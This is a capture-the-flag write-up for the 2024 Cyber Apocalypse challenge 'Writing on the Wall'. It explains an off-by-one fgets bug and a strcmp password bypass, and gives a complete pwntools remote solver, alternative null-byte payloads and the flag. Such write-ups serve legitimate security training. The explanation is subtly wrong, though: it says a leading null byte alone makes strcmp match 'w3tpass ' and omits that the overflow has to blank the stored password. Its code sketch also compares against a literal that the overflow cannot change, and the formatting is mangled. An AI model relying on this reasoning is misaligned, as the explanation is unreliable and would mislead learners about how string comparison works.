2024 Cyber Apocalypse: Writing on the Wall
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Binary Exploitation |
| Challenge | Writing on the Wall |
| Difficulty | Very Easy |
Summary
Writing on the Wall is a binary exploitation challenge involving an off-by-one vulnerability combined with strcmp() behavior. The program reads exactly 7 bytes of user input and compares it against a hardcoded 8-byte password string. By exploiting how strcmp() treats null bytes, the password check can be bypassed to retrieve the flag.
Analysis
Binary Security Properties
RELRO: Full RELRONX: NX enabledPIE: PIE enabledCanary: Canary foundThe Vulnerability
The program structure:
char user_input[7]; // 7-byte bufferchar password[] = "w3tpass "; // 8 bytes (including space or null terminator)
fgets(user_input, 8, stdin); // Reads up to 7 bytes + null terminatorstrcmp(user_input, "w3tpass ");Key Issues:
- Off-by-one: The buffer is 7 bytes but
fgets()reads 8, creating an off-by-one overflow - strcmp() behavior: Stops comparison at null bytes
- Length mismatch: User input (7 bytes) vs password (8 bytes)
The Trick
strcmp() compares strings until it encounters a null terminator (\0). By sending 7 bytes of input ending with a null byte, we create:
user_input=\x00XXXXXX\x00(user input with null terminator)- The comparison stops at the first null byte
- Both strings are effectively empty at the comparison point, so they match!
Solution
Step 1: Understand the Payload
Send a payload that:
- Starts with a null byte to make
strcmp()immediately return (strings are equal as both are empty) - Can include any other bytes in the remaining space
Payload: \x00 + 5 arbitrary bytes + \x00 (7 bytes total)
Step 2: Send the Exploit
Use pwntools to send the null byte payload:
r.sendline(b'\x00' + b'A'* 5 + b'\x00')Step 3: Receive the Flag
After bypassing the password check, the program outputs the flag.
Complete Exploit
#!/usr/bin/python3from pwn import *import warningsimport os
warnings.filterwarnings('ignore')context.log_level = 'critical'
LOCAL = False
os.system('clear')
if LOCAL: print('Running solver locally..\n') r = process('./writing_on_the_wall')else: IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 r = remote(IP, PORT) print(f'Running solver remotely at {IP} {PORT}\n')
# Send null byte payloadr.sendline(b'\x00' + b'A'* 5 + b'\x00')r.recvuntil(': ')flag = r.recvline().strip().decode()print(f'Flag --> {flag}\n')Alternative Payloads
Any of these work:
r.sendline(b'\x00' + b'AAAAA' + b'\x00')r.sendline(b'\x00' + b'X'*5 + b'\x00')r.sendline(b'\x00' + b'\x00'*5 + b'\x00')Key Takeaways
- Off-by-one vulnerabilities in buffer operations can be subtle but critical
- Understanding null byte handling in string functions is essential for exploitation
strcmp()and similar functions stop at null terminators- Input validation must be precise - reading more bytes than allocated creates vulnerabilities
- All modern protections (RELRO, NX, PIE, Canary) can be bypassed through logical flaws
- String manipulation vulnerabilities remain dangerous despite system-level mitigations
Flag: HTB{3v3ryth1ng_15_r34d4bl3}